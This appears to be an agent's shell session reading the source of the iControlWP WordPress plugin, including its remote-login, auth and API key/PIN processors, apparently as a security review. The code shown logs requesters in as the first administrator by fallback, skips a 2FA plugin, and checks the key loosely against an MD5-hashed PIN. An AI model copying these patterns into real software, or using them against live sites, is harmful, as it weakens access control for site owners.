html\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FFileSystem.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FThemes.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FRequest.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FPlugins.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FControl\u002FController.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FControl\u002FPluginControllerConsumer.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_auth.php\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Finit.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getController()->loadAllFeatures(); } \u002F** * @return \\ICWP_APP_FeatureHandler_AutoUpdates *\u002F public static function GetAutoUpdatesSystem() { return self::getController()->loadFeatureHandler( [ 'slug' => 'autoupdates' ] ); } } if ( !\\class_exists( 'Worpit_Plugin' ) ) { class Worpit_Plugin extends ICWP_Plugin { } } \\FernleafSystems\\Wordpress\\Plugin\\iControlWP\\Handlers\\Request::Instance(); $oICWP_App_Controller = Controller::GetInstance( $sIcwpPluginRootFile ); global $g_oWorpit; $g_oWorpit = new \\ICWP_Plugin( $oICWP_App_Controller ); $g_oWorpit->boot();\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FHandlers\u002FRequest.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n query = \\is_array( $_GET ) ? $_GET : []; $this->post = \\is_array( $_POST ) ? $_POST : []; $this->server = \\is_array( $_SERVER ) ? $_SERVER : []; $this->env = \\is_array( $_ENV ) ? $_ENV : []; } public function input() :string { return $this->input ??= (string)\\file_get_contents( 'php:\u002F\u002Finput' ); } public function env( string $key ) { return $this->env[ $key ] ?? null; } public function post( string $key ) { return $this->post[ $key ] ?? null; } public function query( string $key ) { return $this->query[ $key ] ?? null; } public function server( string $key ) { return $this->server[ $key ] ?? null; } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FControl\u002FController.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n * All rights reserved. * * \"iControlWP\" is distributed under the GNU General Public License, Version 2, * June 1991. Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin * St, Fifth Floor, Boston, MA 02110, USA * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *\u002F class Controller extends \\ICWP_APP_Foundation { \u002F** * @var \\stdClass *\u002F private static $conOpts; \u002F** * @var Controller *\u002F public static $oInstance; \u002F** * @var string *\u002F private static $sRootFile; \u002F** * @var bool *\u002F protected $rebuildOpts; \u002F** * @var bool *\u002F protected $reset; \u002F** * @var string *\u002F private $pluginBaseFile; \u002F** * @var array *\u002F private $requirementsMessages = []; \u002F** * @var string *\u002F private $cfgHash; \u002F** * @var \\ICWP_APP_FeatureHandler_Base[] *\u002F public $modules = []; \u002F** * @return Controller *\u002F public static function GetInstance( string $rootFile ) { if ( !isset( self::$oInstance ) ) { try { self::$oInstance = new self( $rootFile ); } catch ( \\Exception $e ) { return null; } } return self::$oInstance; } \u002F** * @throws \\Exception *\u002F private function __construct( string $rootFile ) { self::$sRootFile = $rootFile; $this->checkMinimumRequirements(); add_action( 'plugins_loaded', [ $this, 'onWpPluginsLoaded' ], 0 ); } \u002F** * @throws \\Exception *\u002F private function readPluginSpecification() :array { $spec = []; $contents = $this->loadDP()->readFileContentsUsingInclude( $this->getPathPluginSpec() ); if ( !empty( $contents ) ) { $spec = \\json_decode( $contents, true ); if ( empty( $spec ) || !\\is_array( $spec ) ) { throw new \\Exception( 'Could not json_decode the plugin spec configuration.' ); } } return $spec; } \u002F** * @throws \\Exception *\u002F private function checkMinimumRequirements() { if ( is_admin() ) { $meetsRequirements = true; $reqsMessages = $this->getRequirementsMessages(); $minPHP = $this->getPluginSpec_Requirement( 'php' ); if ( !empty( $minPHP ) ) { if ( \\version_compare( \\phpversion(), $minPHP, ' getPluginSpec_Requirement( 'wordpress' ); if ( !empty( $minWP ) ) { $WPversion = $this->loadWP()->getWordpressVersion(); if ( \\version_compare( $WPversion, $minWP, ' requirementsMessages = $reqsMessages; add_action( 'admin_menu', [ $this, 'adminNoticeDoesNotMeetRequirements' ] ); add_action( 'network_admin_notices', [ $this, 'adminNoticeDoesNotMeetRequirements' ] ); throw new \\Exception( 'Plugin does not meet minimum requirements' ); } } } public function adminNoticeDoesNotMeetRequirements() { $msg = $this->getRequirementsMessages(); if ( !empty( $msg ) ) { $this->loadRenderer( $this->getPath_Templates() ) ->setTemplate( 'notices\u002Fdoes-not-meet-requirements' ) ->setRenderVars( [ 'strings' => [ 'requirements' => $msg, 'summary_title' => sprintf( 'Web Hosting requirements for Plugin \"%s\" are not met and you should deactivate the plugin.', esc_html( $this->getHumanName() ) ), 'more_information' => 'Click here for more information on requirements' ], 'hrefs' => [ 'more_information' => sprintf( 'https:\u002F\u002Fwordpress.org\u002Fplugins\u002F%s\u002Ffaq', $this->getTextDomain() ) ] ] ) ->display(); } } protected function getRequirementsMessages() :array { return $this->requirementsMessages ?? $this->requirementsMessages = []; } \u002F** * Registers the plugins activation, deactivate and uninstall hooks. *\u002F protected function registerActivationHooks() { register_deactivation_hook( $this->getRootFile(), [ $this, 'onWpDeactivatePlugin' ] ); } public function onWpDeactivatePlugin() { $tmp = $this->getPath_PluginCache(); if ( FileSystem::Instance()->isDir( $tmp ) ) { FileSystem::Instance()->deleteDir( $tmp ); } if ( current_user_can( $this->getBasePermissions() ) && apply_filters( $this->doPluginPrefix( 'delete_on_deactivate' ), false ) ) { do_action( $this->doPluginPrefix( 'delete_plugin' ) ); $this->deletePluginControllerOptions(); } } public function onWpPluginsLoaded() { load_plugin_textdomain( $this->getTextDomain(), false, plugin_basename( $this->getPath_Languages() ) ); $this->doRegisterHooks(); } protected function doRegisterHooks() { $this->registerActivationHooks(); add_action( 'init', [ $this, 'onWpInit' ] ); add_action( 'admin_init', [ $this, 'onWpAdminInit' ] ); add_action( 'wp_loaded', [ $this, 'onWpLoaded' ] ); add_action( 'admin_menu', [ $this, 'onWpAdminMenu' ] ); add_action( 'network_admin_menu', [ $this, 'onWpAdminMenu' ] ); add_filter( 'all_plugins', [ $this, 'doPluginLabels' ] ); add_filter( 'plugin_action_links_'.$this->getPluginBaseFile(), [ $this, 'onWpPluginActionLinks' ], 50 ); add_filter( 'plugin_row_meta', [ $this, 'onPluginRowMeta' ], 50, 2 ); add_action( 'in_plugin_update_message-'.$this->getPluginBaseFile(), [ $this, 'onWpPluginUpdateMessage' ] ); add_action( 'shutdown', [ $this, 'onWpShutdown' ] ); \u002F\u002F outsource the collection of admin notices if ( is_admin() ) { $this->loadAdminNoticesProcessor()->setActionPrefix( $this->doPluginPrefix() ); } } public function onWpAdminInit() { add_action( 'admin_enqueue_scripts', [ $this, 'onWpEnqueueAdmin' ], 100 ); } public function onWpEnqueueAdmin( $hook = '' ) { if ( \\strpos( (string)$hook, 'icontrolwp_page_icwp' ) === 0 ) { $this->enqueueAdminCss(); $this->enqueueAdminJs(); } } public function onWpLoaded() { if ( $this->getIsValidAdminArea() ) { $this->doPluginFormSubmit(); } } public function onWpInit() { add_action( 'wp_enqueue_scripts', [ $this, 'enqueueFrontendCss' ], 99 ); } public function onWpAdminMenu() { if ( $this->getIsValidAdminArea() ) { $this->createPluginMenu(); } } protected function createPluginMenu() { if ( !apply_filters( $this->doPluginPrefix( 'filter_hidePluginMenu' ), !$this->getPluginSpec_Menu( 'show' ) ) ) { if ( $this->getPluginSpec_Menu( 'top_level' ) ) { $labels = $this->getPluginLabels(); $title = $this->getPluginSpec_Menu( 'title' ); if ( \\is_null( $title ) ) { $title = $this->getHumanName(); } $icon = $this->getPluginUrl_Image( $this->getPluginSpec_Menu( 'icon_image' ) ); $iconURL = empty( $labels[ 'icon_url_16x16' ] ) ? $icon : $labels[ 'icon_url_16x16' ]; $fullMenuID = $this->getPluginPrefix(); add_menu_page( $this->getHumanName(), $title, $this->getBasePermissions(), $fullMenuID, function () { }, $iconURL ); if ( $this->getPluginSpec_Menu( 'has_submenu' ) ) { $itesm = apply_filters( $this->doPluginPrefix( 'filter_plugin_submenu_items' ), [] ); if ( !empty( $itesm ) ) { foreach ( $itesm as $title => $menuItem ) { list( $text, $itemID, $itemCallback ) = $menuItem; add_submenu_page( $fullMenuID, $title, $text, $this->getBasePermissions(), $itemID, $itemCallback ); } } } if ( $this->getPluginSpec_Menu( 'do_submenu_fix' ) ) { $this->fixSubmenu(); } } } } protected function fixSubmenu() { global $submenu; $sFullParentMenuId = $this->getPluginPrefix(); if ( isset( $submenu[ $sFullParentMenuId ] ) ) { unset( $submenu[ $sFullParentMenuId ][ 0 ] ); } } \u002F** * @param array|mixed $meta * @param string|mixed $pluginFile * @return array *\u002F public function onPluginRowMeta( $meta, $pluginFile ) :array { if ( $pluginFile === $this->getPluginBaseFile() ) { if ( !\\is_array( $meta ) ) { $meta = []; } $template = ' %s '; foreach ( $this->getPluginSpec_PluginMeta() as $linkData ) { $link = sprintf( $template, $linkData[ 'href' ], $linkData[ 'name' ] ); $meta[] = $link; } } return $meta; } \u002F** * @param array|mixed $actionLinks *\u002F public function onWpPluginActionLinks( $actionLinks ) :array { if ( $this->getIsValidAdminArea() ) { if ( !\\is_array( $actionLinks ) ) { $actionLinks = []; } $template = ' %s '; foreach ( $this->conOpts()->plugin_spec[ 'action_links' ][ 'add' ] ?? [] as $link ) { if ( empty( $link[ 'name' ] ) || ( empty( $link[ 'url_method_name' ] ) && empty( $link[ 'href' ] ) ) ) { continue; } if ( !empty( $link[ 'url_method_name' ] ) ) { $method = $link[ 'url_method_name' ]; if ( \\method_exists( $this, $method ) ) { $settingsLink = sprintf( $template, $this->{$method}(), \"_top\", $link[ 'name' ] ); \\array_unshift( $actionLinks, $settingsLink ); } } elseif ( !empty( $link[ 'href' ] ) ) { $settingsLink = sprintf( $template, $link[ 'href' ], \"_blank\", $link[ 'name' ] ); \\array_unshift( $actionLinks, $settingsLink ); } } } return $actionLinks; } public function enqueueFrontendCss() { foreach ( $this->getPluginSpec_Include( 'frontend' )[ 'css' ] ?? [] as $asset ) { $uniq = $this->doPluginPrefix( $asset ); wp_register_style( $uniq, $this->getPluginUrl_Css( $asset.'.css' ), ( empty( $dependent ) ? false : $dependent ), $this->getVersion() ); wp_enqueue_style( $uniq ); $dependent = $uniq; } } public function enqueueAdminJs() { $includeTypes = \\array_filter( [ 'admin' => $this->getIsValidAdminArea(), 'plugin_admin' => $this->getIsPage_PluginAdmin(), ] ); foreach ( \\array_keys( $includeTypes ) as $type ) { $dependent = false; foreach ( $this->getPluginSpec_Include( $type )[ 'js' ] ?? [] as $asset ) { $url = $this->getPluginUrl_Js( $asset.'.js' ); if ( !empty( $url ) ) { $uniq = $this->doPluginPrefix( $asset ); wp_register_script( $uniq, $url, $dependent, $this->getVersion().wp_rand(), [ 'in_footer' => true ] ); wp_enqueue_script( $uniq ); $dependent = $uniq; } } } } public function enqueueAdminCss() { $includeTypes = \\array_filter( [ 'admin' => $this->getIsValidAdminArea(), 'plugin_admin' => $this->getIsPage_PluginAdmin(), ] ); foreach ( \\array_keys( $includeTypes ) as $type ) { $dependent = false; foreach ( $this->getPluginSpec_Include( $type )[ 'css' ] ?? [] as $asset ) { $url = $this->getPluginUrl_Css( $asset.'.css' ); if ( !empty( $url ) ) { $sUnique = $this->doPluginPrefix( $asset ); wp_register_style( $sUnique, $url, $dependent, $this->getVersion().wp_rand() ); wp_enqueue_style( $sUnique ); $dependent = $sUnique; } } } } \u002F** * Displays a message in the plugins listing when a plugin has an update available. *\u002F public function onWpPluginUpdateMessage() { $default = sprintf( 'Upgrade Now To Get The Latest Available %s Features.', $this->getHumanName() ); $msg = apply_filters( $this->doPluginPrefix( 'plugin_update_message' ), $default ); echo empty( $msg ) ? '' : sprintf( ' %s ', esc_attr( $this->getPluginPrefix() ), esc_html( $msg ) ); } \u002F** * @param array|mixed $plugins *\u002F public function doPluginLabels( $plugins ) :array { if ( !\\is_array( $plugins ) ) { $plugins = []; } $file = $this->getPluginBaseFile(); if ( \\is_array( $plugins[ $file ] ?? null ) ) { $plugins[ $file ] = \\array_merge( $plugins[ $file ], $this->getPluginLabels() ); } return $plugins; } public function getPluginLabels() :array { $labels = apply_filters( $this->doPluginPrefix( 'plugin_labels' ), $this->getPluginSpec_Labels() ); return \\is_array( $labels ) ? $labels : []; } public function onWpShutdown() { do_action( $this->doPluginPrefix( 'pre_plugin_shutdown' ) ); do_action( $this->doPluginPrefix( 'plugin_shutdown' ) ); $this->saveCurrentPluginControllerOptions(); $this->deleteFlags(); } protected function deleteFlags() { $FS = $this->loadFS(); if ( $FS->exists( $this->getPath_Flags( 'rebuild' ) ) ) { $FS->deleteFile( $this->getPath_Flags( 'rebuild' ) ); } if ( $this->getIsResetPlugin() ) { $FS->deleteFile( $this->getPath_Flags( 'reset' ) ); } } protected function doPluginFormSubmit() { if ( $this->getIsPluginFormSubmit() ) { \u002F\u002F do all the plugin feature\u002Foptions saving do_action( $this->doPluginPrefix( 'form_submit' ) ); if ( $this->getIsPage_PluginAdmin() ) { $this->loadWP()->doRedirect( $this->loadWP()->getUrl_CurrentAdminPage() ); } } } \u002F** * @param string $suffix * @param string $glue *\u002F public function doPluginPrefix( $suffix = '', $glue = '-' ) :string { $prefix = $this->getPluginPrefix( $glue ); if ( $suffix == $prefix || \\strpos( $suffix, $prefix.$glue ) === 0 ) { \u002F\u002Fit already has the full prefix return $suffix; } return sprintf( '%s%s%s', $prefix, empty( $suffix ) ? '' : $glue, empty( $suffix ) ? '' : $suffix ); } public function doPluginOptionPrefix( string $toPrefix ) :string { return $this->doPluginPrefix( $toPrefix, '_' ); } \u002F** * @return mixed|null *\u002F protected function getPluginSpec_Include( string $type ) { return $this->conOpts()->plugin_spec[ 'includes' ][ $type ] ?? null; } \u002F** * @param string $key * @return array|string *\u002F protected function getPluginSpec_Labels( $key = '' ) { $labels = $this->conOpts()->plugin_spec[ 'labels' ] ?? []; \u002F\u002FPrep the icon urls if ( !empty( $labels[ 'icon_url_16x16' ] ) ) { $labels[ 'icon_url_16x16' ] = $this->getPluginUrl_Image( $labels[ 'icon_url_16x16' ] ); } if ( !empty( $labels[ 'icon_url_32x32' ] ) ) { $labels[ 'icon_url_32x32' ] = $this->getPluginUrl_Image( $labels[ 'icon_url_32x32' ] ); } if ( empty( $key ) ) { return $labels; } return $this->conOpts()->plugin_spec[ 'labels' ][ $key ] ?? null; } \u002F** * @param string $key * @return mixed|null *\u002F protected function getPluginSpec_Menu( $key ) { return $this->conOpts()->plugin_spec[ 'menu' ][ $key ] ?? null; } \u002F** * @param string $key * @return mixed|null *\u002F public function getPluginSpec_Path( $key ) { return $this->conOpts()->plugin_spec[ 'paths' ][ $key ] ?? null; } \u002F** * @param string $key * @return mixed|null *\u002F protected function getPluginSpec_Property( $key ) { return $this->conOpts()->plugin_spec[ 'properties' ][ $key ] ?? null; } \u002F** * @return array *\u002F protected function getPluginSpec_PluginMeta() { $conOpts = $this->conOpts(); return ( isset( $conOpts->plugin_spec[ 'plugin_meta' ] ) && \\is_array( $conOpts->plugin_spec[ 'plugin_meta' ] ) ) ? $conOpts->plugin_spec[ 'plugin_meta' ] : []; } \u002F** * @param string $sKey * @return mixed|null *\u002F protected function getPluginSpec_Requirement( $sKey ) { return $this->conOpts()->plugin_spec[ 'requirements' ][ $sKey ] ?? null; } \u002F** * @return string *\u002F public function getBasePermissions() { return $this->getPluginSpec_Property( 'base_permissions' ); } \u002F** * @param bool $checkUserPermissions * @return bool *\u002F public function getIsValidAdminArea( $checkUserPermissions = true ) :bool { if ( $checkUserPermissions && did_action( 'init' ) && !current_user_can( $this->getBasePermissions() ) ) { return false; } $WP = $this->loadWP(); if ( !$WP->isMultisite() && is_admin() ) { return true; } elseif ( $WP->isMultisite() && $this->getIsWpmsNetworkAdminOnly() && is_network_admin() ) { return true; } return false; } public function getOptionStoragePrefix() :string { return $this->getPluginPrefix( '_' ).'_'; } \u002F** * @param $glue *\u002F public function getPluginPrefix( $glue = '-' ) :string { return sprintf( '%s%s%s', $this->getPluginSpec_Property( 'slug_parent' ), $glue, $this->getPluginSlug() ); } \u002F** * Default is to take the 'Name' from the labels section but can override with \"human_name\" from property section. * @return string *\u002F public function getHumanName() { $labels = $this->getPluginLabels(); return empty( $labels[ 'Name' ] ) ? $this->getPluginSpec_Property( 'human_name' ) : $labels[ 'Name' ]; } public function getIsPage_PluginAdmin() :bool { return \\strpos( $this->loadWP()->getCurrentWpAdminPage(), $this->getPluginPrefix() ) === 0; } \u002F** * @return bool *\u002F protected function getIsPluginFormSubmit() { $isSubmit = false; foreach ( [ $this->doPluginOptionPrefix( 'plugin_form_submit' ), 'icwp_link_action' ] as $option ) { if ( !\\is_null( $this->loadDP()->FetchRequest( $option ) ) ) { $isSubmit = true; break; } } return $isSubmit; } public function getIsRebuildOptionsFromFile() :bool { if ( isset( $this->rebuildOpts ) ) { return $this->rebuildOpts; } \u002F\u002F The first choice is to look for the file hash. If it's \"always\" empty, it means we could never \u002F\u002F hash the file in the first place so it's not ever effectively used and it falls back to the rebuild file $conOptions = $this->conOpts(); $specPath = $this->getPathPluginSpec(); $currentHash = @\\md5_file( $specPath ); $modTime = $this->loadFS()->getModifiedTime( $specPath ); $this->rebuildOpts = true; if ( isset( $conOptions->hash ) && is_string( $conOptions->hash ) && ( $conOptions->hash == $currentHash ) ) { $this->rebuildOpts = false; } elseif ( isset( $conOptions->mod_time ) && ( $modTime mod_time ) ) { $this->rebuildOpts = false; } $conOptions->hash = $currentHash; $conOptions->mod_time = $modTime; return $this->rebuildOpts; } public function getIsResetPlugin() :bool { return $this->reset ?? $this->reset = (bool)$this->loadFS()->isFile( $this->getPath_Flags( 'reset' ) ); } \u002F** * @return bool *\u002F public function getIsWpmsNetworkAdminOnly() { return $this->getPluginSpec_Property( 'wpms_network_admin_only' ); } \u002F** * This is the path to the main plugin file relative to the WordPress plugins directory. *\u002F public function getPluginBaseFile() :string { return $this->pluginBaseFile ?? $this->pluginBaseFile = plugin_\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FInternal\u002FUser\u002FLogin.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n loadWP() ->setTransient( self::LoginTokenKey, [ 'token' => $token, 'redirect' => $this->getActionParam( 'redirect', '' ) ], \\MINUTE_IN_SECONDS ); return $this->success( [ 'source' => $source, 'token' => $token ] ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n preActionEnvironmentSetup(); try { $this->processAction(); } catch ( \\Exception $e ) { } return $this->setSuccessResponse(); } \u002F** * @return LegacyApi\\ApiResponse * @throws \\Exception *\u002F protected function processAction() { $req = $this->getRequestParams(); $WP = $this->loadWP(); $this->getStandardResponse()->die = true; if ( empty( $req->token ) ) { throw new \\Exception( 'No valid Login Token was sent.' ); } $token = $WP->getTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); $WP->deleteTransient( LegacyApi\\Internal\\User\\Login::LoginTokenKey ); \u002F\u002F One chance per token if ( empty( $token ) || !\\is_array( $token ) ) { throw new \\Exception( 'Login Token is not present or is not of the correct format.' ); } if ( empty( $token[ 'token' ] ) || \\strlen( $token[ 'token' ] ) !== 64 ) { throw new \\Exception( 'Login Token is not correct.' ); } if ( !\\hash_equals( $token[ 'token' ], $req->token ) ) { throw new \\Exception( 'Login Token does not match.' ); } $WPU = $this->loadWpUsers(); $username = $req->getStringParam( 'username' ); $user = $WPU->getUserByUsername( $username ); if ( empty( $username ) || empty( $user ) ) { $aUserRecords = \\version_compare( $WP->getWordpressVersion(), '3.1', '>=' ) ? get_users( 'role=administrator' ) : []; if ( empty( $aUserRecords[ 0 ] ) ) { throw new \\Exception( 'Failed to find a valid user.' ); } $user = $aUserRecords[ 0 ]; } \u002F\u002F By-passes the 2FA process on Shield add_filter( 'odp-shield-2fa_skip', '__return_true' ); if ( !$WPU->setUserLoggedIn( $user->get( 'user_login' ) ) ) { throw new \\Exception( sprintf( 'There was a problem logging you in as \"%s\".', esc_html( $user->get( 'user_login' ) ) ) ); } $redirectTo = $req->getStringParam( 'redirect' ); if ( empty( $redirectTo ) ) { $redirectTo = $token[ 'redirect' ]; } empty( $redirectTo ) ? $WP->redirectToAdmin() : $WP->doRedirect( $redirectTo ); die(); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_auth.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n doAuth(); } \u002F** * @return LegacyApi\\ApiResponse *\u002F protected function doAuth() { return $this->setSuccessResponse( 'Auth', 0, [ 'is_logged_in' => $this->setAuthorizedUser(), 'is_wpe' => @getenv( 'IS_WPE' ), 'is_wpe_logged_in' => $this->setWpEngineAuth(), ] ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002F -type f -name \"*.php\" | sort`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fautoupdates.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_plugin.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fcompatibility.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fgoogle_analytics.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_auth.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_index.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_link.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_retrieve.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_status.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fsecurity.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fwhitelabel.php\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n preActionVerify(); if ( $actionResponse->success ) { $this->preActionEnvironmentSetup(); $this->processAction(); } $this->postProcessAction(); return $actionResponse; } protected function preActionVerify() { $r = $this->getStandardResponse(); $r->channel = $this->getApiChannel(); $this->preApiCheck(); if ( !$r->success ) { if ( !$this->attemptSiteReassign()->success ) { return; } } $this->handshake(); if ( !$r->success ) { if ( $r->code == 9991 ) { $this->mod->setCanHandshake(); \u002F\u002Frecheck ability to handshake } } } protected function postProcessAction() { $oR = $this->getStandardResponse(); $aData = $oR->data; $aData[ 'verification_code' ] = $this->getRequestParams()->verification_code; } \u002F** * @return LegacyApi\\ApiResponse *\u002F abstract protected function processAction(); \u002F** * @return string *\u002F protected function getApiChannel() { $oParams = $this->getRequestParams(); return \\in_array( $oParams->m, $this->mod->getPermittedApiChannels() ) ? $oParams->m : 'index'; } \u002F** * @return LegacyApi\\ApiResponse *\u002F protected function preApiCheck() { $reqParams = $this->getRequestParams(); $response = $this->getStandardResponse(); if ( !$this->mod->getIsSiteLinked() ) { $sErrorMessage = 'NotAssigned'; return $this->setErrorResponse( $sErrorMessage, 9999 ); } if ( empty( $reqParams->key ) ) { $sErrorMessage = 'EmptyRequestKey'; return $this->setErrorResponse( $sErrorMessage, 9995 ); } if ( $reqParams->key != $this->mod->getPluginAuthKey() ) { $sErrorMessage = 'InvalidKey'; return $this->setErrorResponse( $sErrorMessage, 9998 ); } if ( empty( $reqParams->pin ) ) { $sErrorMessage = 'EmptyRequestPin'; return $this->setErrorResponse( $sErrorMessage, 9994 ); } $sPin = $this->mod->getPluginPin(); if ( md5( $reqParams->pin ) != $sPin ) { $sErrorMessage = 'InvalidPin'; return $this->setErrorResponse( $sErrorMessage, 9997 ); } return $response; } \u002F** * Attempts to relink\u002Freassign a site upon API failure, with certain pre-conditions * * 1) The channel is \"retrieve\" * 2) The site CAN Handshake (it will check this) * 3) The handshake is verified for this package * * @return LegacyApi\\ApiResponse *\u002F protected function attemptSiteReassign() { $req = $this->getRequestParams(); if ( empty( $req->m ) || !in_array( $req->m, [ 'auth', 'internal', 'retrieve' ] 